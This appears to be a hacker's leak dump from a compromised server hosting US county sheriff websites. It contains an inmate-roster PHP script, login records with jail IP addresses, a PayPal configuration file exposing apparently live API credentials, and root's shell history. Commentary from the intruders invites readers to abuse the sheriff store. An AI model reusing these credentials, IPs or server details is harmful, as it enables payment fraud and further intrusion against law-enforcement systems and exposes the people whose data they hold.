		foreach($file as $line => $data){
			$inmates[] = array_shift(explode(',',$data));
		}
		if(sizeof($inmates)<1){
			echo PHP_EOL,date('m/d/Y H:i:s'),' -- Roster File was
Empty',PHP_EOL;
			die();
		}
	return $inmates;
	}

	function remove_old_inmates(){
		$now = time();
		$forty_eight_hours_ago = date('Y-m-d', mktime(0, 0, 0, date("m", $now) 
, date("d", $now)-2, date("Y", $now)));
		$query = "select booking_num, image1 from dymin_jail_roster where
release_date <= '$forty_eight_hours_ago' and release_date != ''";
		$result = safe_query($query);
		while($row = mysql_fetch_array($result,MYSQL_ASSOC)){
			shell_exec('rm -f
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$row['image1
']);
			$query_charges = 'delete from dymin_jail_roster_charges where
booking_num = "'.$row['booking_num'].'"';
			safe_query($query_charges);
			$query_inmate = 'delete from dymin_jail_roster where booking_num =
"'.$row['booking_num'].'"';
			safe_query($query_inmate);
		}
	}

	$field_map[0] = 'booking_num';
	$field_map[2] = 'age';
	$field_map[3] = 'gender';
	$field_map[4] = 'race';
	$field_map[5] = 'first_name';
	$field_map[6] = 'middle_name';
	$field_map[7] = 'last_name';
	$field_map[8] = 'booking_date';
	$field_map[9] = 'arresting_agency';
	$field_map[10] = 'image1';
	if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt')
&& filesize('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt') !=
'4096'){
		$OLDinmates = build_old_inmates();
		$NEWinmates = build_new_inmates();
		//print_r($OLDinmates);
		foreach($OLDinmates as $key => $booking_number){
			if(!in_array($booking_number,$NEWinmates)){
				echo $booking_number,PHP_EOL;
				print_r($NEWinmates);
				echo PHP_EOL;
				release_inmate($booking_number);
			}
		}
		safe_query('DELETE FROM dymin_jail_roster WHERE release_date = ""');
		parse_csv('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.
txt','dymin_jail_roster',$field_map);
	}
	unset($field_map);
	$field_map[0] = 'booking_num';
	$field_map[1] = 'charge';
	$field_map[2] = 'bond';

	if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/
RosterChargesExport.txt')){
		safe_query('DELETE FROM dymin_jail_roster_charges');
		safe_query('UPDATE dymin_jail_roster SET charges = "" WHERE release_date
= ""');
		parse_csv('/var/www/vhosts/jocomosheriff.org/home/Export/
RosterChargesExport.txt','dymin_jail_roster_charges',$field_map);


		$q = 'SELECT * FROM dymin_jail_roster_charges';
		$r = safe_query($q);

		while($row = mysql_fetch_array($r)){
			$q = 'UPDATE dymin_jail_roster SET charges =
CONCAT(charges,"'.$row['charge'].'<br>") WHERE release_date = "" AND booking_num
= "'.$row['booking_num'].'"';
			safe_query($q);
			//echo $q,PHP_EOL;
		}

		$q = 'SELECT * FROM dymin_jail_roster';
		$r = safe_query($q);

		while($row = mysql_fetch_array($r,MYSQL_ASSOC)){
			$q = 'UPDATE dymin_jail_roster SET bond = (SELECT sum(bond) FROM
dymin_jail_roster_charges WHERE booking_num = "'.$row['booking_num'].'") WHERE
booking_num = "'.$row['booking_num'].'" AND release_date = ""';
			safe_query($q);
			//echo $q,PHP_EOL;
		}
	}
	remove_old_inmates();

	if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt')
){
    $file = '/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt';
		$newfile =
'/var/www/vhosts/jocomosheriff.org/home/export_backup/RosterExport_'.date('
Y_m_d_His').'.txt';
		if (!copy($file, $newfile)) {
    			echo "failed to copy $file...\n";
		}else{
			unlink('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.
txt');
			if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/
RosterChargesExport.txt')){
    		unlink('/var/www/vhosts/jocomosheriff.org/home/Export/
RosterChargesExport.txt');
  		}
		}
  }
	//shell_exec('cp -rpufT
/var/www/vhosts/jocomosheriff.org/home/Export/Images/
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
	//shell_exec('mogrify -resize 200x200
/var/www/vhosts/jocomosheriff.org/home/Export/Images/*.jpg');
	//shell_exec('mogrify -resize 200x200
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/*.jpg');
	shell_exec('chmod -R 777
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
	shell_exec('chown -R root:root
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized');
	$files = scandir('/var/www/vhosts/jocomosheriff.org/home/Export/Images/');
	foreach($files as $k => $v){
		if(strpos($v,'.JPG') !== false || strpos($v,'.jpg') !== false){
			$q = 'SELECT * FROM dymin_jail_roster WHERE image1 LIKE "%'.$v.'%"';
			if(mysql_num_rows(safe_query($q)) > 0){
				if(!is_file('/var/www/vhosts/jocomosheriff.org/httpdocs/images/
inmates/resized/'.$v)){
					shell_exec('cp -rpufT
/var/www/vhosts/jocomosheriff.org/home/Export/Images/'.$v.'
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
					echo 'Copied -
'.'/var/www/vhosts/jocomosheriff.org/home/Export/Images/'.$v.' TO
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v.PHP_EOL;
				}
			}else{
				//do nothing for now
			}
		}
		//echo $v.'<br>';
	}
	$files =
scandir('/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
  foreach($files as $k => $v){
    if(strpos($v,'.JPG') !== false || strpos($v,'.jpg') !== false){
      $q = 'SELECT * FROM dymin_jail_roster WHERE image1 LIKE "%'.$v.'%"';
      if(mysql_num_rows(safe_query($q)) > 0){
        echo $v.' - Valid Image'.PHP_EOL;
				shell_exec('mogrify -resize 200x200
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
      }else{
        //shell_exec('rm -f
/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
				//shell_exec('rm -f
/var/www/vhosts/jocomosheriff.org/home/Export/'.$v);
				echo 'Removing - '.$v.PHP_EOL;
      }
    }
    //echo $v.'<br>';
  }
	echo PHP_EOL,date('m/d/Y H:i:s'),' -- Finished',PHP_EOL;
?>



# last > last.txt; wc last.txt
  78726  787247 6061786 last.txt

// WHY YES THESE ARE JAIL IPS SYNCING THEIR INMATE ROSTER FILES TO THE WEB

# head -n 5 last.txt
jonms_sy ftpd8479     173.166.203.165  Sat Jul 23 14:43 - 14:43  (00:00)
pcsoks_s ftpd8064     24.248.200.101   Sat Jul 23 14:40 - 14:40  (00:00)
pcsoks_s ftpd8056     24.248.200.101   Sat Jul 23 14:40 - 14:40  (00:00)
pcsoks_s ftpd8054     24.248.200.101   Sat Jul 23 14:40 - 14:40  (00:00)
jonms_sy ftpd3730     173.166.203.165  Sat Jul 23 14:28 - 14:28  (00:00)

// JUST IN CASE ANYONE WANTED TO PLAY WITH THEIR ONLINE STORE. WE SURE DID

# cat /var/www/vhosts/mosheriffs.com/httpdocs/checkout/constants.php

<?php

define('API_TEST_MODE',false);

/****************************************************
constants.php

This is the configuration file for the samples.This file
defines the parameters needed to make an API call.

PayPal includes the following API Signature for making API
calls to the PayPal sandbox:

API Username 	sdk-three_api1.sdk.com
API Password 	QFZCWN5HZM8VBG7Q
API Signature 	A-IzJhZZjhg29XQ2qnhapuwxIDzyAZQ92FRP5dqBzVesOkzbdUONzmOU

Called by CallerService.php.
****************************************************/

/**
# API user: The user that is identified as making the call. you can
# also use your own API username that you created on PayPal�s sandbox
# or the PayPal live site
*/

if(!API_TEST_MODE){
	define('API_USERNAME', 'info_api1.mosheriffs.com');
}else{
	define('API_USERNAME', 'galexa_1252510976_biz_api1.bjmweb.com');
}
/**
# API_password: The password associated with the API user
# If you are using your own API username, enter the API password that
# was generated by PayPal below
# IMPORTANT - HAVING YOUR API PASSWORD INCLUDED IN THE MANNER IS NOT
# SECURE, AND ITS ONLY BEING SHOWN THIS WAY FOR TESTING PURPOSES
*/

if(!API_TEST_MODE){
	define('API_PASSWORD', 'X376UUNKW9C665M5');
}else{
	define('API_PASSWORD', '1252510985');
}
/**
# API_Signature:The Signature associated with the API user. which is generated
by paypal.
*/

if(!API_TEST_MODE){
	define('API_SIGNATURE',
'AJabrMjdeOUS3ztu4b5tguA358YTAyJmntUHr637CjsXE1pjKGM9MsOH');
}else{
	define('API_SIGNATURE',
'AFcWxV21C7fd0v3bYYYRCpSSRl31AmSHW7t6qw42Zz2AE42uyKKvCZBA');
}
/**
# Endpoint: this is the server URL which you have to connect for submitting your
API request.
*/

if(!API_TEST_MODE){
	define('API_ENDPOINT', 'https://api-3t.paypal.com/nvp');
}else{
	define('API_ENDPOINT', 'https://api-3t.sandbox.paypal.com/nvp');
}
/**
USE_PROXY: Set this variable to TRUE to route all the API requests through
proxy.
like define('USE_PROXY',TRUE);
*/
define('USE_PROXY',FALSE);
/**
PROXY_HOST: Set the host name or the IP address of proxy server.
PROXY_PORT: Set proxy port.

PROXY_HOST and PROXY_PORT will be read only if USE_PROXY is set to TRUE
*/
define('PROXY_HOST', '127.0.0.1');
define('PROXY_PORT', '808');

/* Define the PayPal URL. This is the URL that the buyer is
   first sent to to authorize payment with their paypal account
   change the URL depending if you are testing on the sandbox
   or going to the live PayPal site
   For the sandbox, the URL is
   https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=
   For the live site, the URL is
   https://www.paypal.com/webscr&cmd=_express-checkout&token=
   */

define('PAYPAL_URL',
'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=');

/**
# Version: this is the API version in the request.
# It is a mandatory parameter for each API request.
# The only supported value at this time is 2.3
*/

define('VERSION', '59.0');

?><?
session_start();
include "../config/header.php";
include "../admin/config/classes/training_academy.php";
$ta = new training_class('academy');
$page = new training_class('academy');
?>


// HERE COMES THE BORING PART

# cat ~root/.bash_history


less
/var/www/vhosts/crosscountysheriff.org/httpdocs/admin/modules/warrants/classes/
warrant_parser.php
ll
cd /var/www/vhosts/stfranciscountysheriff.org/
ll
cd home/
ll
crontab  -l
crontab -l
/usr/bin/php /var/www/vhosts/stfranciscountysheriff.org/home/warrant_parser.php
ll
cd /var/log/
ll
less messages | grep 'sfsoar'
less messages | grep 'sf
'
less messages | grep 'stfrancis'
less messages | grep '16610'
less messages | grep 'Cross County'
less messages | grep 'crosscounty'
less messages | grep 'stfrancis'
less messages | grep 'boonesheriff'
l
ll
less secure | grep 'sfsoar'
cd /var/www/vhosts/crosscountysheriff.org/
cd home/
ll
cd Cross\ County/
ll
pwd
cd /var/sql_logs/
ll
ll -h
mkdir -m 755 backup
ll
gzip baxtercountysheriff.com
ll
gzip mosheriffs.com
ll
ll
mv mosheriffs.com.gz backup/
ll
mv baxtercountysheriff.com.gz backup/
ll
cd backup/
ll
ll -h
cd ..
ll
ll -h
ll
cd /var/www/vhosts/jocomosheriff.org/
cd home/
ll
ll
cd Export/
ll
cd Images/
ll
cd ..
ll
cd ..
ll
crontab -l
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
ll
vi parse_roster.php
cd Export/
ll
cd Images/
ll
cd ..
cd ..
ll
cd /var/www/vhosts/boonesheriff.com/
ll
cd home/
ll
less ActiveWarrantsList.txt
top
cd /var/www/vhosts/jocomosheriff.org/home/
ll
cd Export/
ll
cd ..
ll
vi parse_roster.php
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
vi /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
cd /var/www/vhosts/crosscountysheriff.org/
ll
cd home/
ll
cd Cross\ County/
ll
cd ..
ll
cd Cross\ County/
ll
less warrant_parser.php
cd /backup
ll
mkdir -m 777 CRCSD_WARRANTS
ll
cd CRCSD_WARRANTS/
ll
pwd
ll
ll
crontab -l
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/warrant_parser.php
ll
less warrant_query.sql
cd ..
ll
pwd
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/warrant_parser.php
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/warrant_parser.php
cd CRCSD_WARRANTS/
ll
rm warrant_query.sql
cd ..
ll
rm warrant_query.sql
ll
cd CRCSD_WARRANTS/
ll
ll
ll -h
ll
ll
ll
cd ..
mkdir -m 777 BOCS_WARRANTS
ll
mkdir -m 777 SFSOAR_WARRANTS
ll
du -sh
du -sh ./
du -sh ./*
ll
ll
cd SFSOAR_WARRANTS/
ll
ll
ll
ll
ll
ll
ll
crontab -l
/usr/bin/php /var/www/vhosts/stfranciscountysheriff.org/home/warrant_parser.php
crontab -e
ll
cd /var/www/vhosts/crosscountysheriff.org/home/
ll
cd Cross\ County/
ll
ll -h
ll
ll
crontab -l
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/warrant_parser.php
crontab -l
/usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php >/dev/null
2>&1
ll
cd /var/www/vhosts/boonesheriff.com/home/
ll
/usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php
ll
/usr/bin/php /var/www/vhosts/boonesheriff.com/home/warrant_parser.php
crontab -e
postqueue -p
postqueue -p
postqueue -f
ll
ll
less huh
ll -rt
ll -h
ll -rth
top
ll
less tat\ E
postqueue -p
postqueue -p
postqueue -p
postqueue -f
postqueue -f
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -f
postqueue -p
postqueue -f
postqueue -p
postqueue -f
postqueue -p
postqueue -f
postqueue -p
postqueue -f
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -f
postqueue -p
top
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
ls
cd bin
ls
cd ../scripts/
ls
rm logon.aspx\?url\=https\:%2F%2Fwebmail.bjmweb.com%2Fowa%2F\&reason\=0
rm logon.aspx\?url\=https\:%2F%2Fwebmail.bjmweb.com%2Fowa%2F\&reason\=0
./backup-now.sh
cd
ls
rm BACKUP092010.csv.gz
less recaptcha.log
less recaptchalib.php
for i in $(cat recaptcha.log); do echo $i; done
for i in $(cat recaptcha.log); do ls -al  $i; done
for i in $(cat recaptcha.log); do ls -al  $i; done > perms.log
for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; done
for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; done| wc -l
wc -l perms.log
for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $il cat
recaptchalib.php > $i; done
for i in $(cat recaptcha.log| grep recaptchalib.php); do echo $i; cat
recaptchalib.php > $i; done
ll /var/www/vhosts/georgecountymssheriff.com/httpdocs/recaptchalib.php
less /var/www/vhosts/randolphcountysheriff.org/httpdocs/recaptchalib.php
cd /var/www/vhosts/crosscountysheriff.org/home
ll
cd Cross\ County/
ll
less parse_pcv.php
ll
vi test.txt
ll
less parse_pcv.php
ll
crontab -l
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/parse_pcv.php
top
vi test.txt
vi test.txt
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/parse_pcv.php
cd images/
ll
cp *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
cp -f *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
\cp -f *.jpg /var/www/vhosts/crosscountysheriff.org/httpdocs/images/inmates/
cd ..
ll
ll
vi test.txt
ll
cd .
cd ..
ll
less pop_update.txt
cd /var/www/vhosts/stfranciscountysheriff.org/
ll
cd home/
ll
less check_population.php
cd /var/www/vhosts/crosscountysheriff.org/home/Cross\ County/
pwd
ll
ll
ll
ll
top
ll
ll
cd ..
l
ll
cd Cross\ County/
ll
less Jun
ll
ll
ll
cd ..
ll
vi check_population.php
php check_population.php
vi check_population.php
php check_population.php
cd Cross\ County/
ll
less Population.txt
cd..

cd ..
php check_population.php
php check_population.php > Cross\ County/test.txt
crontab -l
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/parse_pcv.php
cd Cross\ County/
ll
vi test.txt
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/parse_pcv.php
vi inmate_class.php
vi inmate_class.php
top
top
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
postqueue -p
top
postqueue -p
top
cd /var/www/vhosts/johnsoncosheriff.com/home
cd /var/www/vhosts/jocomosheriff.org/home/
ll
cd export_backup/
ll
ll -rt
cd ..
ll
cd Export/
ll
cd Images/
ll
ll -rt
cd ..
cd ..
ll
cd export_backup/
ll
cd ..
ll
less parse_roster.php
ll
cd export_backup/
ll
top
crontab -l
less
/var/www/vhosts/mostwantedwebsites.net/subdomains/code/httpdocs/search/cron.sh
 cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://crosscountysheriff.org/warrants.php?find=all
crontab -e
crontab -l
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all \n cd
http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all \n
http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all \n
http://www.crosscountysheriff.org/index.php?a=warrants&v=view&id=all
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all \n
http://www.crosscountysheriff.org/index.php?a=warrantsv=viewid=all
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all \n
http://www.crosscountysheriff.org/index.php
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r
cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all\nhttp://www.
crosscountysheriff.org/index.php
top
lsof -p 20452
kill 20452
lsof -p 20452
top
lsof -p 32631
kill 32631
lsof -p
lsof -p 32631
top
lsof -p 5852
top
su - mstapleton
ll
cd /var/www/vhosts/kansassheriffs.org/uploads/
cd /var/www/vhosts/kansassheriffs.org/
ll
cd /httpdocs/
cd /va
cd /var/www/vhosts/kansassheriffs.org/httpdocs/
ll
cd /uploads/
cd uploads/
ll
cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/uploads/
ll
../
ll
cd ../
ll
chown -R root:root uploads/
ll
cd uploads/
ll
cd ../
ll
chown -R kssa2 uploads/
ll
chown -R kssa2:kssa2 uploads/
ll
logout
cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/
ll
cd ../
ll
cd httpdocs/
ll
rm -R httpdocs/
cd ../
ll
rm -R httpdocs/
y
y
y
y
y
y
y
y
ll
cd httpdocs/
ll
cd /var/www/vhosts/kansassheriffs.org/httpdocs/
ll
crontab -e
logout
cd /var/www/vhosts/kssa.mostwantedwebsites.net/httpdocs/
ll
cd ../
ll
rm -f httpdocs/
rm -R httpdocs/
ll
cd httpdocs/
ll
../
cd ../
ll
rm -r httpdocs/
y
y
y
y
y
y
y
y
ll
rm -R httpdocs/
y
ll
logout
crontab -l
 cd /var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/ &&
/usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/helpers/search/admin/spider.php
-u http://crosscountysheriff.org/ -r -n
http://www.crosscountysheriff.org/warrants/view/all
cd /var/www/vhosts/howardcountysheriffar.com/
ll
cd httpdocs/
ll
ll
cd ..
cd home/
ll
touch test.txt
vi test.txt
ll
vi test.txt
ll
crontab -l
/usr/bin/php /var/www/vhosts/howardcountysheriffar.com/home/parse_pcv.php
>/dev/null 2>&1
ll
yum info php
w
top
ps -ef | grep httpd
w
w
w
top
top
ps -ef
ps -ef
w
iostat
top
ps -ef | grep bp
kill 6144
top
crontab -l
ps -ef | grep imap
cd /etc/
w
top
ps -ef | grep php
ls /etc/init.d
chkconfig --list
runlevel
/etc/init.d/postfix restart
bg
ps -ef | grep bp
date
kill 31287
top
ps -ef
/etc/init.d/postfix start
ps -ef| grep imap
ps -ef| grep post
less /usr/local/psa/var/log/maillog
mail [email protected]
less /usr/local/psa/var/log/maillog
mailq
man bpbark
top
ps -ef | grep my
ps -ef | grep mysql
ps -ef | less
top
ps -ef | grep php
cd
ls
cd bin/
ls
cd ../scripts/
ls
./backup-now.sh
top
ps -ef
top
ps -ef | grep psa
ps -ef |grep sp
pkill spider
ps -ef |grep sp
kill 6624 6644 18573
ps -ef |grep sp
ps -ef |grep spider
kill  11673 11717 18605
ps -ef |grep spider
top
top
nn
cd /var/www/vhosts/
ls
cd jacksonsheriff.org/
find . -name tiny_mce
find . -name tinymce
ls admin
cd httpdocs/
ls
ls admin
find .
find .| less
cd ../../crosscountysheriff.org/
cd httpdocs/
ls
find . -name tiny\*
less ./admin/tinymce/jscripts/tiny_mce/tiny_mce.js
mv ./admin/config/functions/tiny_mce.php
./admin/config/functions/tiny_mce.php_bak
mv ./admin/tinymce/jscripts/tiny_mce ./admin/tinymce/jscripts/tiny_mce_bak
cp ~/tiny_mce.php ./admin/config/functions/tiny_mce.php
cp -rv ~/tiny_mce ./admin/tinymce/jscripts/tiny_mce
cd ../..
find . -type d -name wp-admin
pwd
cd ../..
cd www/vhosts/
ls
cd crosscountysheriff.org/
ls
cd  httpdocs/admin/
ls
ll
history
ls
ll tinymce/
ls
ll config/
ll config/functions/
cd config/functions/
ll
diff tiny_mce.php tiny_mce.php_bak
ls
mv tiny_mce.php tiny_mce.php_new
mv tiny_mce.php_bak tiny_mce.php
cd ../
ls
cd ..
ls
history
cd tinymce/jscripts/
ll
mv tiny_mce tiny_mce_new
mv tiny_mce_bak tiny_mce
top
lsof -p 9043
kill 9043
lsof -p 9043
cd /var/log
ls
less rsnapshot
less rsnapshot
cd /var/www/vhosts/crosscountysheriff.org/
cd statistics/
ls
less logs/access_log
cd /var/www/vhosts/baxtercountysheriff.com/
ls
cd httpdocs/
cd admin_dymin/
ls
find . -name ping.php
ll
cd /var/www/vhosts/stonecountymosheriff.com/
ll
cd httpdocs/
ll
cd ..
cd home/
ll
cd export_backup/
ll
crontab -l
crontab -e
crontab -l
cd /var/www/vhosts/stonecountymosheriff.com/
cd home/
ll
cd export_backup/
ll
top
cd /var/www/vhosts/jocomosheriff.org/
ll
cd home/
ll
cd Export/
ll
cd ../export_backup/
ll
cd ..
ll
vi parse_roster.php
crontab -l
vi /backup/johms_parse_log.txt
ll
less clean.php
ll
cd export_backup/
ll
rm -f RosterExport_2011_01* RosterExport_2011_02* RosterExport_2011_03*
RosterExport_2011_04* RosterExport_2011_05*
rm -f RosterExport_2011_01*
rm -f RosterExport_2011_02*
rm -f RosterExport_2011_03*
rm -f RosterExport_2011_04*
rm -f RosterExport_2011_05*
rm -f RosterExport_2011_05*
rm -f RosterExport_2011_05_0*
rm -f RosterExport_2011_05*
rm -f RosterExport_2011_06*
ll
ll
ll
ll
cd ..
ll
vi parse_roster.php
ll
ll
ll
cd Export/
ll
cd Images/
ll
*.txt
ll | less
ll
cd ..
ll
cd ..
ll
less parse_roster.php
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
less /var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt
crontab -l
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
/backup/johms_parse_log.txt
cd Export/Images/
ll
ll 1243376
ll 1243376*
ll 1*
ll 124*
ll 12433*
cd ..
ll
cd ..
ll
less clean.php
vi clean.php
php clean.php
vi clean.php
php clean.php
ll
cd Export/Images/
ll
cd ..
cd ..
php clean.php
ll
php clean.php
ll
ll
ll
cd export_backup/
ll
less RosterExport_2011_07_
ll
ll
cd ..
ll
vi parse_roster.php
vi parse_roster.php
ll
cd export_backup/
ll
ll
ll
cd /backup/
ll
vi johms_parse_log.txt
ll
cd /var/www/vhosts/jocomosheriff.org/home/
ll
cd Export/
ll
ll
ll
ll
ll
ll
ll
ll
cd Images/
ll
cd ..
ll
cp *.JPG Images/
ll
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
/backup/johms_parse_log.txt
cd ..
cd export_backup/
ll
ll
ll
cd ..
cd Export/
ll
cd Images/
ll
ll
ll | less
ll
cd ..
ll
cd ..
ll
du -sh ./*
vi clean.php
php clean.php
ll
vi clean.php
php clean.php
ll
du -sh ./*
cd Export/
ll
cd ..
ll
crontab -l
/usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
/backup/johms_parse_log.txt
ll
du -sh ./*
ll
cd export_backup/
ll
ll
cd ..
cd Export/Images/
ll
cd ../../
ll
php clean.php
ll
du -sh ./*
ll
ll
du -sh ./*
du -sh ./*
du -sh ./*
cd Export/
ll
cd Images/
ll
ll
ll 1322055.JPG
ll
cd ../../
ll
php parse_roster.php
ll
cd Export/
ll
ll
cd Images/
ll
cd ..
ll
ll
du -sh
du -sh ./*
top
ll
cd ..
du -sh ./*
ll
ll
du -sh ./*
du -sh ./*
cd ~
ll
mkdir MASS_PASS
ll
cd MASS_PASS/
ll
vi masspass.php
ll
php masspass.php
vi masspass.php
php masspass.php
vi masspass.php
php masspass.php
vi masspass.php
vi masspass.php
php masspass.php
vi masspass.php
php masspass.php
vi masspass.php
php masspass.php
vi masspass.php
php masspass.php -p 12345
php masspass.php -p12345
vi masspass.php
php masspass.php -p12345
php masspass.php
vi masspass.php
php masspass.php
php masspass.php -oe0d14a92 -n12345
vi masspass.php
php masspass.php -oe0d14a92 -n12345
php masspass.php -oe0d14a92 -nY9BNtSeb
vi masspass.php
php masspass.php -oe0d14a92 -nY9BNtSeb
php masspass.php
vi masspass.php
php masspass.php
php masspass.php -n705ad48f3563c4c30d3fec8564b7636b
-oa872c8327d9b4b3e3e1cf6b673c529b4
php masspass.php
ll
php masspass.php
vi masspass.php
crontab -e
top
ll
less sete.sh
less tat\ E
cd /var/www/vhosts/crosscountysheriff.org/home/
ll
cd Cross\ County/
ll
vi test.txt
ll
crontab -l
/usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
County/parse_pcv.php >/dev/null 2>&1
